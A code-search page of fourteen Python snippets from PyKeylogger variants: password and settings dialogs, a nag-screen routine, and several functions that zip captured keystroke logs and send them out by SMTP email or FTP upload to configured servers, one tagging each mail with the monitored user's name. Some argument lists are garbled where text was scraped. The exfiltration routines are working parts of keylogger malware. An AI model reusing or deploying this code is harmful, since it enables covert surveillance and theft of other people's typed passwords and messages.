Example #1
0
 def password_dialog(self):
     mypassword = tkSimpleDialog.askstring("Enter Password", 
                                             "Password:"******"*")
     if mypassword != myutils.password_recover(self.panelsettings['General']['Master Password']):
         if mypassword != None:
             return False
     else:
         return True
Example #2
0
    def __init__(self, parent, section):
        self.section = section
        self.settings = self.read_settings()
        self.changes_flag = False
        self.dialog = Pmw.Dialog(parent,
                                 buttons=('OK', 'Apply', 'Cancel'),
                                 defaultbutton='OK',
                                 title=section + ' Settings',
                                 command=self.execute)

        self.dialog.bind('<Escape>', self.cancel)

        self.balloon = Pmw.Balloon(self.dialog.interior(),
                                   label_wraplength=400)

        notebook = Pmw.NoteBook(self.dialog.interior())
        notebook.pack(fill='both', expand=1, padx=10, pady=10)

        self.entrydict = {section: {}}

        if section == 'General':
            subsections = [
                'General',
            ]
            subsettings = self.settings
        else:
            subsettings = self.settings[section]
            subsections = subsettings.sections
        for subsection in subsections:
            page = notebook.add(subsection)
            subsubsettings = subsettings[subsection]
            self.entrydict[section].update({subsection: {}})
            for itemname, itemvalue in subsubsettings.items():
                if not itemname.startswith('_'):
                    if not itemname.endswith('Tooltip'):
                        entry = Pmw.EntryField(page,
                                               labelpos='w',
                                               label_text='%s:' % itemname,
                                               validate=None,
                                               command=None)
                        if itemname.find("Password") == -1:
                            entry.setvalue(itemvalue)
                        else:
                            entry.setvalue(myutils.password_recover(itemvalue))
                        entry.pack(fill='x', expand=1, padx=10, pady=5)
                        self.balloon.bind(
                            entry,
                            subsubsettings[itemname + ' Tooltip'].replace(
                                '\\n', '\n'))
                        self.entrydict[section][subsection].update(
                            {itemname: entry})


        if len(self.entrydict.keys()) == 1 and \
                    self.entrydict.keys()[0] == 'General':
            self.entrydict = self.entrydict['General']

        notebook.setnaturalsize()
Example #3
0
	def PasswordDialog(self):
		#passroot=Tk()
		#passroot.title("Enter Password")
		mypassword = mytkSimpleDialog.askstring("Enter Password", "Password:"******"*", rootx_offset=-20, rooty_offset=-35)
		if mypassword != myutils.password_recover(self.panelsettings['General']['Master Password']):
			if mypassword != None:
				tkMessageBox.showerror("Incorrect Password", "Incorrect Password")
			return 1
		else:
			return 0
Example #4
0
 def password_dialog(self):
     mypassword = tkSimpleDialog.askstring("Enter Password", 
                                             "Password:"******"*")
     if mypassword != myutils.password_recover(self.panelsettings['General']['Master Password']):
         if mypassword != None:
             tkMessageBox.showerror("Incorrect Password", 
                                     "Incorrect Password")
         return False
     else:
         return True
 def password_dialog(self):
     mypassword = tkSimpleDialog.askstring("Enter Password",
                                           "Password:"******"*")
     if mypassword != password_recover(self.panelsettings['General']['Master Password']):
         if mypassword is not None:
             tkMessageBox.showerror("Incorrect Password",
                                    "Incorrect Password")
         return False
     else:
         return True
Example #6
0
 def __init__(self, parent, section):
     self.section=section
     self.settings = self.read_settings()
     self.changes_flag = False
     self.dialog = Pmw.Dialog(parent, 
                 buttons = ('OK', 'Apply', 'Cancel'),
                 defaultbutton = 'OK',
                 title = section + ' Settings',
                 command = self.execute)
     
     self.dialog.bind('<Escape>', self.cancel)
     
     self.balloon = Pmw.Balloon(self.dialog.interior(),
                     label_wraplength=400)
     
     notebook = Pmw.NoteBook(self.dialog.interior())
     notebook.pack(fill = 'both', expand = 1, padx = 10, pady = 10)
     
     self.entrydict = {section: {}}
     
     if section == 'General':
         subsections = ['General',]
         subsettings = self.settings
     else:
         subsettings = self.settings[section]
         subsections = subsettings.sections
     for subsection in subsections:
         page = notebook.add(subsection)
         subsubsettings = subsettings[subsection]
         self.entrydict[section].update({subsection:{}})
         for itemname, itemvalue in subsubsettings.items():
             if not itemname.startswith('_'):
                 if not itemname.endswith('Tooltip'):
                     entry = Pmw.EntryField(page, 
                             labelpos = 'w',
                             label_text = '%s:' % itemname,
                             validate = None,
                             command = None)
                     if itemname.find("Password") == -1:
                         entry.setvalue(itemvalue)
                     else:
                         entry.setvalue(myutils.password_recover(itemvalue))
                     entry.pack(fill='x', expand=1, padx=10, pady=5)
                     self.balloon.bind(entry, 
                             subsubsettings[itemname + ' Tooltip'].replace('\\n','\n'))
                     self.entrydict[section][subsection].update({itemname: entry})
                     
     
     if len(self.entrydict.keys()) == 1 and \
                 self.entrydict.keys()[0] == 'General':
         self.entrydict = self.entrydict['General']
             
     notebook.setnaturalsize()
Example #7
0
    def NagscreenLogic(self):
        '''Show the nagscreen (or not).'''

        # Congratulations, you have found the nag control.
        # See, that wasn't so hard, was it? :)
        # While I have deliberately made it easy to stop all this nagging and
        # expiration stuff here, and you are quite entitled to doing just that,
        # I would like to take this final moment and encourage you once more to
        # support the PyKeylogger project by making a donation.

        # Set this to False to get rid of all nagging.
        NagMe = False

        if NagMe == True:
            # first, show the support screen
            root = tkinter.Tk()
            #root.geometry("100x100+200+200")
            root.withdraw()
            warn = SupportScreen(root, title="Please Support PyKeylogger")
            root.destroy()
            del (warn)

            # set the timer if first use
            utfnd = self.settings['General']['_Usage Time Flag']
            if myutils.password_recover(utfnd) == "firstuse":
                self.settings['General']['_Usage Time Flag'] = \
                   myutils.password_obfuscate(str(time.time()))
                self.settings.write()

            # then, see if we have "expired"
            utfnd = self.settings['General']['_Usage Time Flag']
            if abs(time.time() - float(myutils.password_recover(utfnd))) > \
               3600 * 24 * 4:
                root = tkinter.Tk()
                #root.geometry("100x100+200+200")
                root.withdraw()
                warn = ExpirationScreen(root, title="PyKeylogger Has Expired")
                root.destroy()
                del (warn)
                sys.exit()
Example #8
0
	def body(self, master):
		
		index=0
		self.entrydict=dict()
		self.tooltipdict=dict()
		for key in self.settings[self.section].keys():
			if key.find("NoDisplay") == -1: #don't want to display settings that shouldn't be changed
				if key.find("Tooltip") == -1:
					Label(master, text=key).grid(row=index, sticky=W)
					self.entrydict[key]=Entry(master)
					if key.find("Password") == -1:
						self.entrydict[key].insert(END, self.settings[self.section][key])
					else:
						self.entrydict[key].insert(END, myutils.password_recover(self.settings[self.section][key]))
					self.entrydict[key].grid(row=index, column=1)
					self.tooltipdict[key] = ToolTip(self.entrydict[key], follow_mouse=1, delay=500, text=self.settings[self.section][key + " Tooltip"])
					index += 1
Example #9
0
    def SendZipByEmail(self):
        '''Send the zipped logfile archive by email, using mail settings specified in the .ini file
		'''
        # basic logic flow:
        #~ if autozip is not enabled, just call the ziplogfiles function ourselves

        #~ read ziplog.txt (in a try block) and check if it conforms to being a proper zip filename
        #~ if not, then print error and get out

        #~ in a try block, read emaillog.txt to get latest emailed zip, and check for proper filename
        #~ if fail, just go ahead with sending all available zipfiles

        #~ do a os.listdir() on the dirname, and trim it down to only contain our zipfiles
        #~ and moreover, only zipfiles with names between lastemailed and latestzip, including latestzip,
        #~ but not including lastemailed.

        #~ send all the files in list

        #~ write new lastemailed to emaillog.txt

        self.PrintDebug("Sending mail to " +
                        self.settings['E-mail']['SMTP To'] + "\n")

        if self.settings['Zip']['Zip Enable'] == False or os.path.isfile(
                os.path.join(self.settings['General']['Log Directory'],
                             "ziplog.txt")) == False:
            self.ZipLogFiles()

        try:
            ziplog = open(
                os.path.join(self.settings['General']['Log Directory'],
                             "ziplog.txt"), 'r')
            latestZipFile = ziplog.readline()
            ziplog.close()
            if not self.CheckIfZipFile(latestZipFile):
                self.PrintDebug(
                    "latest zip filename does not match proper filename pattern. something went wrong. stopping.\n"
                )
                return
        except:
            self.PrintDebug("Unexpected error opening ziplog.txt: " +
                            str(sys.exc_info()[0]) + ", " +
                            str(sys.exc_info()[1]) + "\n")
            return

        #~ if not self.CheckIfZipFile(latestZipFile):
        #~ self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
        #~ return

        try:
            latestZipEmailed = ""  #initialize to blank, just in case emaillog.txt doesn't get read
            emaillog = open(
                os.path.join(self.settings['General']['Log Directory'],
                             "emaillog.txt"), 'r')
            latestZipEmailed = emaillog.readline()
            emaillog.close()
            if not self.CheckIfZipFile(latestZipEmailed):
                self.PrintDebug(
                    "latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n"
                )
                return
        except:
            self.PrintDebug("Error opening emaillog.txt: " +
                            str(sys.exc_info()[0]) + ", " +
                            str(sys.exc_info()[1]) +
                            "\nWill email all available log zips.\n")

        zipFileList = os.listdir(self.settings['General']['Log Directory'])
        self.PrintDebug(str(zipFileList))
        if len(zipFileList) > 0:
            # removing elements from a list while iterating over it produces undesirable results
            # so we do the os.listdir again to iterate over
            for filename in os.listdir(
                    self.settings['General']['Log Directory']):
                if not self.CheckIfZipFile(filename):
                    zipFileList.remove(filename)
                    self.PrintDebug(
                        "removing " + filename +
                        " from zipfilelist because it's not a zipfile\n")
                # we can do the following string comparison due to the structured and dated format of the filenames
                elif filename <= latestZipEmailed or filename > latestZipFile:
                    zipFileList.remove(filename)
                    self.PrintDebug(
                        "removing " + filename +
                        " from zipfilelist because it's not in range\n")

        self.PrintDebug(str(zipFileList))

        # set up the message
        msg = MIMEMultipart()
        msg['From'] = self.settings['E-mail']['SMTP From']
        msg['To'] = COMMASPACE.join(
            self.settings['E-mail']['SMTP To'].split(";"))
        msg['Date'] = formatdate(localtime=True)
        msg['Subject'] = self.settings['E-mail']['SMTP Subject']

        msg.attach(MIMEText(self.settings['E-mail']['SMTP Message Body']))

        if len(zipFileList) == 0:
            msg.attach(MIMEText("No new logs present."))

        if len(zipFileList) > 0:
            for file in zipFileList:
                part = MIMEBase('application', "octet-stream")
                part.set_payload(
                    open(
                        os.path.join(self.settings['General']['Log Directory'],
                                     file), "rb").read())
                Encoders.encode_base64(part)
                part.add_header(
                    'Content-Disposition',
                    'attachment; filename="%s"' % os.path.basename(file))
                msg.attach(part)

        # set up the server and send the message
        mysmtp = smtplib.SMTP(self.settings['E-mail']['SMTP Server'],
                              self.settings['E-mail']['SMTP Port'])

        if self.cmdoptions.debug:
            mysmtp.set_debuglevel(1)
        if self.settings['E-mail']['SMTP Use TLS'] == True:
            # we find that we need to use two ehlos (one before and one after starttls)
            # otherwise we get "SMTPException: SMTP AUTH extension not supported by server"
            # thanks for this solution go to http://forums.belution.com/en/python/000/009/17.shtml
            mysmtp.ehlo()
            mysmtp.starttls()
            mysmtp.ehlo()
        if self.settings['E-mail']['SMTP Needs Login'] == True:
            mysmtp.login(
                self.settings['E-mail']['SMTP Username'],
                myutils.password_recover(
                    self.settings['E-mail']['SMTP Password']))
        sendingresults = mysmtp.sendmail(
            self.settings['E-mail']['SMTP From'],
            self.settings['E-mail']['SMTP To'].split(";"), msg.as_string())
        self.PrintDebug("Email sending errors (if any): " +
                        str(sendingresults) + "\n")

        # need to put the quit in a try, since TLS connections may error out due to bad implementation with
        # socket.sslerror: (8, 'EOF occurred in violation of protocol')
        # Most SSL servers and clients (primarily HTTP, but some SMTP as well) are broken in this regard:
        # they do not properly negotiate TLS connection shutdown. This error is otherwise harmless.
        # reference URLs:
        # http://groups.google.de/group/comp.lang.python/msg/252b421a7d9ff037
        # http://mail.python.org/pipermail/python-list/2005-August/338280.html
        try:
            mysmtp.quit()
        except:
            pass

        # write the latest emailed zip to log for the future
        if len(zipFileList) > 0:
            zipFileList.sort()
            emaillog = open(
                os.path.join(self.settings['General']['Log Directory'],
                             "emaillog.txt"), 'w')
            emaillog.write(zipFileList.pop())
            emaillog.close()
Example #10
0
    def ftp_upload(self):
        self.logger.debug('Initiating log ftp.')

        if self.subsettings['Zip']['Enable Zip'] == False:
            self.mainapp.event_threads[self.loggername].timer_threads['Zip'].task_function()
    
        try:
            self.latest_zip_ftped = "" #in case ftplog doesn't exist.
            ftplog = open(os.path.join(self.log_full_dir, 
                    "_internal_ftplog.txt"), 'r')
            self.latest_zip_ftped = ftplog.readline()
            ftplog.close()
        except:
            self.logger.debug("Cannot open _internal_ftplog.txt. "
                    "Will ftp all available zip files.", exc_info=True)
        
        self.dir_lock.acquire()
        try:
            zipfile_list = os.listdir(self.log_full_dir)
            # removing elements from a list while iterating over it produces 
            # undesirable results so we make a copy
            zipfile_list_copy = copy.deepcopy(zipfile_list)
            self.logger.debug(str(zipfile_list))
            if len(zipfile_list) > 0:
                
                for filename in zipfile_list_copy:
                    if not self.needs_ftping(filename):
                        zipfile_list.remove(filename)
                        self.logger.debug("removing %s from "
                            "zipfilelist." % filename)
            
            self.logger.debug(str(zipfile_list))
            
            ## now actually connect and upload
            ftp = ftplib.FTP()
            if self.cmdoptions.debug: 
                ftp.set_debuglevel(2)
            ftp.connect(host=self.subsettings['FTP']['FTP Server'], 
                        port=self.subsettings['FTP']['FTP Port'])
            ftp.login(user = self.subsettings['FTP']['FTP Username'],
                        passwd = myutils.password_recover(\
                            self.subsettings['FTP']['FTP Password']))
            ftp.set_pasv(self.subsettings['FTP']['FTP Passive Mode'])
            ## todo: make sure to create directory first??
            ftp.cwd(self.subsettings['FTP']['FTP Upload Directory'])
            for filename in zipfile_list:
                ftp.storbinary('STOR ' + filename, 
                        open(os.path.join(self.log_full_dir, filename), 'rb'))
            ftp.quit()
        except:
            self.logger.debug('Error in ftp upload.', exc_info=True)
        finally:
            self.dir_lock.release()
            
        # write the latest ftped zip to log for the future
        if len(zipfile_list) > 0:
            zipfile_list.sort()
            ftplog = open(os.path.join(self.log_full_dir, 
                    "_internal_ftplog.txt"), 'w')
            ftplog.write(zipfile_list.pop())
            ftplog.close()
Example #11
0
    def send_email(self):
        '''Zip and send logfiles by email for the specified logger.
        
        We use the email settings specified in the .ini file for the logger.
        '''
        self.logger.debug('Initiating log email.')

        if self.subsettings['Zip']['Enable Zip'] == False:
            self.mainapp.event_threads[self.loggername].timer_threads['Zip'].task_function()
        
        try:
            self.latest_zip_emailed = "" #in case emaillog doesn't exist.
            emaillog = open(os.path.join(self.log_full_dir, 
                    "_internal_emaillog.txt"), 'r')
            self.latest_zip_emailed = emaillog.readline()
            emaillog.close()
        except:
            self.logger.debug("Cannot open _internal_emaillog.txt. "
                    "Will email all available zip files.", exc_info=True)
        
        self.dir_lock.acquire()
        try:
            zipfile_list = os.listdir(self.log_full_dir)
            # removing elements from a list while iterating over it produces 
            # undesirable results so we make a copy
            zipfile_list_copy = copy.deepcopy(zipfile_list)
            self.logger.debug(str(zipfile_list))
            if len(zipfile_list) > 0:
                
                for filename in zipfile_list_copy:
                    if not self.needs_emailing(filename):
                        zipfile_list.remove(filename)
                        self.logger.debug("removing %s from "
                            "zipfilelist." % filename)
            
            self.logger.debug(str(zipfile_list))

            # set up the message
            msg = MIMEMultipart()
            msg['From'] = self.subsettings['E-mail']['E-mail From']
            msg['To'] = COMMASPACE.join(self.subsettings['E-mail']['E-mail To'].split(";"))
            msg['Date'] = formatdate(localtime=True)
            msg['Subject'] = self.subsettings['E-mail']['E-mail Subject']

            msg.attach(MIMEText(self.subsettings['E-mail']['E-mail Message Body']))

            if len(zipfile_list) == 0:
                msg.attach(MIMEText("No new logs present."))

            if len(zipfile_list) > 0:
                for fname in zipfile_list:
                    part = MIMEBase('application', "octet-stream")
                    part.set_payload(open(os.path.join(self.log_full_dir, fname),"rb").read())
                    Encoders.encode_base64(part)
                    part.add_header('Content-Disposition', 
                            'attachment; filename="%s"' % os.path.basename(fname))
                    msg.attach(part)
        finally:
            self.dir_lock.release()
            
        # set up the server and send the message
        # wrap it all in a try/except, so that everything doesn't hang up
        # in case of network problems and whatnot.
        try:
            mysmtp = smtplib.SMTP(self.subsettings['E-mail']['SMTP Server'], 
                                    self.subsettings['E-mail']['SMTP Port'])
            
            if self.cmdoptions.debug: 
                mysmtp.set_debuglevel(1)
            if self.subsettings['E-mail']['SMTP Use TLS'] == True:
                # we find that we need to use two ehlos (one before and one after starttls)
                # otherwise we get "SMTPException: SMTP AUTH extension not supported by server"
                # thanks for this solution go to http://forums.belution.com/en/python/000/009/17.shtml
                mysmtp.ehlo()
                mysmtp.starttls()
                mysmtp.ehlo()
            if self.subsettings['E-mail']['SMTP Needs Login'] == True:
                mysmtp.login(self.subsettings['E-mail']['SMTP Username'], 
                        myutils.password_recover(self.subsettings['E-mail']['SMTP Password']))
            sendingresults = mysmtp.sendmail(self.subsettings['E-mail']['E-mail From'], 
                    self.subsettings['E-mail']['E-mail To'].split(";"), msg.as_string())
            self.logger.debug("Email sending errors (if any): "
                    "%s \n" % str(sendingresults))
            
            # need to put the quit in a try, since TLS connections may error 
            # out due to bad implementation with 
            # socket.sslerror: (8, 'EOF occurred in violation of protocol')
            # Most SSL servers and clients (primarily HTTP, but some SMTP 
            # as well) are broken in this regard: 
            # they do not properly negotiate TLS connection shutdown. 
            # This error is otherwise harmless.
            # reference URLs:
            # http://groups.google.de/group/comp.lang.python/msg/252b421a7d9ff037
            # http://mail.python.org/pipermail/python-list/2005-August/338280.html
            try:
                mysmtp.quit()
            except:
                pass
            
            # write the latest emailed zip to log for the future
            if len(zipfile_list) > 0:
                zipfile_list.sort()
                emaillog = open(os.path.join(self.log_full_dir, 
                        "_internal_emaillog.txt"), 'w')
                emaillog.write(zipfile_list.pop())
                emaillog.close()
        except:
            self.logger.debug('Error sending email.', exc_info=True)
            pass # better luck next time
Example #12
0
    def ftp_upload(self):
        self.logger.debug('Initiating log ftp.')

        if self.subsettings['Zip']['Enable Zip'] is False:
            self.mainapp.event_threads[
                self.loggername].timer_threads['Zip'].task_function()

        try:
            self.latest_zip_ftped = ""  # in case ftplog doesn't exist.
            ftplog = open(
                os.path.join(self.log_full_dir, "_internal_ftplog.txt"), 'r')
            self.latest_zip_ftped = ftplog.readline()
            ftplog.close()
        except:
            self.logger.debug(
                "Cannot open _internal_ftplog.txt. "
                "Will ftp all available zip files.",
                exc_info=True)

        self.dir_lock.acquire()
        try:
            zipfile_list = os.listdir(self.log_full_dir)
            # removing elements from a list while iterating over it produces
            # undesirable results so we make a copy
            zipfile_list_copy = copy.deepcopy(zipfile_list)
            self.logger.debug(str(zipfile_list))
            if len(zipfile_list) > 0:

                for filename in zipfile_list_copy:
                    if not self.needs_ftping(filename):
                        zipfile_list.remove(filename)
                        self.logger.debug("removing %s from "
                                          "zipfilelist." % filename)

            self.logger.debug(str(zipfile_list))

            # now actually connect and upload
            ftp = ftplib.FTP()
            if self.cmdoptions.debug:
                ftp.set_debuglevel(2)
            ftp.connect(host=self.subsettings['FTP']['FTP Server'],
                        port=self.subsettings['FTP']['FTP Port'])
            ftp.login(user=self.subsettings['FTP']['FTP Username'],
                      passwd=myutils.password_recover(
                          self.subsettings['FTP']['FTP Password']))
            ftp.set_pasv(self.subsettings['FTP']['FTP Passive Mode'])
            # todo: make sure to create directory first??
            ftp.cwd(self.subsettings['FTP']['FTP Upload Directory'])
            for filename in zipfile_list:
                ftp.storbinary(
                    'STOR ' + filename,
                    open(os.path.join(self.log_full_dir, filename), 'rb'))
            ftp.quit()
        except:
            self.logger.debug('Error in ftp upload.', exc_info=True)
        finally:
            self.dir_lock.release()

        # write the latest ftped zip to log for the future
        if len(zipfile_list) > 0:
            zipfile_list.sort()
            ftplog = open(
                os.path.join(self.log_full_dir, "_internal_ftplog.txt"), 'w')
            ftplog.write(zipfile_list.pop())
            ftplog.close()
Example #13
0
    def send_email(self, subject=myutils.get_username()):
        '''
        Zip and send logfiles by email for the specified logger.

        We use the email settings specified in the .ini file for the logger.
        '''
        self.logger.debug('Initiating log email.')

        if self.subsettings['Zip']['Enable Zip'] is False:
            self.mainapp.event_threads[
                self.loggername].timer_threads['Zip'].task_function()

        try:
            self.latest_zip_emailed = ""  # in case emaillog doesn't exist.
            emaillog = open(
                os.path.join(self.log_full_dir, "_internal_emaillog.txt"), 'r')
            self.latest_zip_emailed = emaillog.readline()
            emaillog.close()
        except:
            self.logger.debug(
                "Cannot open _internal_emaillog.txt. "
                "Will email all available zip files.",
                exc_info=True)

        self.dir_lock.acquire()
        try:
            zipfile_list = os.listdir(self.log_full_dir)
            # removing elements from a list while iterating over it produces
            # undesirable results so we make a copy
            zipfile_list_copy = copy.deepcopy(zipfile_list)
            self.logger.debug(str(zipfile_list))
            if len(zipfile_list) > 0:

                for filename in zipfile_list_copy:
                    if not self.needs_emailing(filename):
                        zipfile_list.remove(filename)
                        self.logger.debug("removing %s from "
                                          "zipfilelist." % filename)

            self.logger.debug(str(zipfile_list))

            # set up the message
            msg = MIMEMultipart()
            msg['From'] = self.subsettings['E-mail']['E-mail From']
            msg['To'] = COMMASPACE.join(
                self.subsettings['E-mail']['E-mail To'].split(";"))
            msg['Date'] = formatdate(localtime=True)
            msg['Subject'] = self.subsettings['E-mail'][
                'E-mail Subject'] + ' - Sujeto: ' + subject

            msg.attach(
                MIMEText(self.subsettings['E-mail']['E-mail Message Body']))

            if len(zipfile_list) == 0:
                msg.attach(MIMEText("No new logs present."))

            if len(zipfile_list) > 0:
                for fname in zipfile_list:
                    part = MIMEBase('application', "octet-stream")
                    part.set_payload(
                        open(os.path.join(self.log_full_dir, fname),
                             "rb").read())
                    Encoders.encode_base64(part)
                    part.add_header(
                        'Content-Disposition',
                        'attachment; filename="%s"' % os.path.basename(fname))
                    msg.attach(part)
        finally:
            self.dir_lock.release()

        # set up the server and send the message
        # wrap it all in a try/except, so that everything doesn't hang up
        # in case of network problems and whatnot.
        try:
            mysmtp = smtplib.SMTP(self.subsettings['E-mail']['SMTP Server'],
                                  self.subsettings['E-mail']['SMTP Port'])

            if self.cmdoptions.debug:
                mysmtp.set_debuglevel(1)
            if self.subsettings['E-mail']['SMTP Use TLS'] is True:
                # we find that we need to use two ehlos (one before and one
                # after starttls)
                # otherwise we get "SMTPException: SMTP AUTH extension not
                # supported by server"
                # thanks for this solution go to
                # http://forums.belution.com/en/python/000/009/17.shtml
                mysmtp.ehlo()
                mysmtp.starttls()
                mysmtp.ehlo()
            if self.subsettings['E-mail']['SMTP Needs Login'] is True:
                mysmtp.login(
                    self.subsettings['E-mail']['SMTP Username'],
                    myutils.password_recover(
                        self.subsettings['E-mail']['SMTP Password']))
            sendingresults = mysmtp.sendmail(
                self.subsettings['E-mail']['E-mail From'],
                self.subsettings['E-mail']['E-mail To'].split(";"),
                msg.as_string())
            self.logger.debug("Email sending errors (if any): "
                              "%s \n" % str(sendingresults))

            # need to put the quit in a try, since TLS connections may error
            # out due to bad implementation with
            # socket.sslerror: (8, 'EOF occurred in violation of protocol')
            # Most SSL servers and clients (primarily HTTP, but some SMTP
            # as well) are broken in this regard:
            # they do not properly negotiate TLS connection shutdown.
            # This error is otherwise harmless.
            # reference URLs:
            # http://groups.google.de/group/comp.lang.python/msg/252b421a7d9ff037
            # http://mail.python.org/pipermail/python-list/2005-August/338280.html
            try:
                mysmtp.quit()
            except:
                pass

            # write the latest emailed zip to log for the future
            if len(zipfile_list) > 0:
                zipfile_list.sort()
                emaillog = open(
                    os.path.join(self.log_full_dir, "_internal_emaillog.txt"),
                    'w')
                emaillog.write(zipfile_list.pop())
                emaillog.close()
        except:
            self.logger.debug('Error sending email.', exc_info=True)
            pass  # better luck next time
Example #14
0
	def SendZipByEmail(self):
		'''Send the zipped logfile archive by email, using mail settings specified in the .ini file
		'''
		# basic logic flow:
		#~ if autozip is not enabled, just call the ziplogfiles function ourselves
		
		#~ read ziplog.txt (in a try block) and check if it conforms to being a proper zip filename
		#~ if not, then print error and get out
		
		#~ in a try block, read emaillog.txt to get latest emailed zip, and check for proper filename
			#~ if fail, just go ahead with sending all available zipfiles
		
		#~ do a os.listdir() on the dirname, and trim it down to only contain our zipfiles
			#~ and moreover, only zipfiles with names between lastemailed and latestzip, including latestzip,
			#~ but not including lastemailed.
		
		#~ send all the files in list
		
		#~ write new lastemailed to emaillog.txt
		
		self.PrintDebug("Sending mail to " + self.settings['E-mail']['SMTP To'] + "\n")
		
		if self.settings['Zip']['Zip Enable'] == False or os.path.isfile(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt")) == False:
			self.ZipLogFiles()
		
		try:
			ziplog = open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'r')
			latestZipFile = ziplog.readline()
			ziplog.close()
			if not self.CheckIfZipFile(latestZipFile):
				self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
				return
		except:
			self.PrintDebug("Unexpected error opening ziplog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
			return
		
		#~ if not self.CheckIfZipFile(latestZipFile):
			#~ self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
			#~ return
		
		try:
			latestZipEmailed = "" #initialize to blank, just in case emaillog.txt doesn't get read
			emaillog = open(os.path.join(self.settings['General']['Log Directory'], "emaillog.txt"), 'r')
			latestZipEmailed = emaillog.readline()
			emaillog.close()
			if not self.CheckIfZipFile(latestZipEmailed):
				self.PrintDebug("latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n")
				return
		except:
			self.PrintDebug("Error opening emaillog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\nWill email all available log zips.\n")
		
		zipFileList = os.listdir(self.settings['General']['Log Directory'])
		self.PrintDebug(str(zipFileList))
		if len(zipFileList) > 0:
			# removing elements from a list while iterating over it produces undesirable results
			# so we do the os.listdir again to iterate over
			for filename in os.listdir(self.settings['General']['Log Directory']):
				if not self.CheckIfZipFile(filename):
					zipFileList.remove(filename)
					self.PrintDebug("removing " + filename + " from zipfilelist because it's not a zipfile\n")
				# we can do the following string comparison due to the structured and dated format of the filenames
				elif filename <= latestZipEmailed or filename > latestZipFile:
					zipFileList.remove(filename)
					self.PrintDebug("removing " + filename + " from zipfilelist because it's not in range\n")
		
		self.PrintDebug(str(zipFileList))
		
		# set up the message
		msg = MIMEMultipart()
		msg['From'] = self.settings['E-mail']['SMTP From']
		msg['To'] = COMMASPACE.join(self.settings['E-mail']['SMTP To'].split(";"))
		msg['Date'] = formatdate(localtime=True)
		msg['Subject'] = self.settings['E-mail']['SMTP Subject']

		msg.attach( MIMEText(self.settings['E-mail']['SMTP Message Body']) )

		if len(zipFileList) == 0:
			msg.attach( MIMEText("No new logs present.") )

		if len(zipFileList) > 0:
			for file in zipFileList:
				part = MIMEBase('application', "octet-stream")
				part.set_payload( open(os.path.join(self.settings['General']['Log Directory'], file),"rb").read() )
				Encoders.encode_base64(part)
				part.add_header('Content-Disposition', 'attachment; filename="%s"'
							   % os.path.basename(file))
				msg.attach(part)

		# set up the server and send the message
		mysmtp = smtplib.SMTP(self.settings['E-mail']['SMTP Server'], self.settings['E-mail']['SMTP Port'])
		
		if self.cmdoptions.debug: 
			mysmtp.set_debuglevel(1)
		if self.settings['E-mail']['SMTP Use TLS'] == True:
			# we find that we need to use two ehlos (one before and one after starttls)
			# otherwise we get "SMTPException: SMTP AUTH extension not supported by server"
			# thanks for this solution go to http://forums.belution.com/en/python/000/009/17.shtml
			mysmtp.ehlo()
			mysmtp.starttls()
			mysmtp.ehlo()
		if self.settings['E-mail']['SMTP Needs Login'] == True:
			mysmtp.login(self.settings['E-mail']['SMTP Username'], myutils.password_recover(self.settings['E-mail']['SMTP Password']))
		sendingresults = mysmtp.sendmail(self.settings['E-mail']['SMTP From'], self.settings['E-mail']['SMTP To'].split(";"), msg.as_string())
		self.PrintDebug("Email sending errors (if any): " + str(sendingresults) + "\n")
		
		# need to put the quit in a try, since TLS connections may error out due to bad implementation with
		# socket.sslerror: (8, 'EOF occurred in violation of protocol')
		# Most SSL servers and clients (primarily HTTP, but some SMTP as well) are broken in this regard: 
		# they do not properly negotiate TLS connection shutdown. This error is otherwise harmless.
		# reference URLs:
		# http://groups.google.de/group/comp.lang.python/msg/252b421a7d9ff037
		# http://mail.python.org/pipermail/python-list/2005-August/338280.html
		try:
			mysmtp.quit()
		except:
			pass
		
		# write the latest emailed zip to log for the future
		if len(zipFileList) > 0:
			zipFileList.sort()
			emaillog = open(os.path.join(self.settings['General']['Log Directory'], "emaillog.txt"), 'w')
			emaillog.write(zipFileList.pop())
			emaillog.close()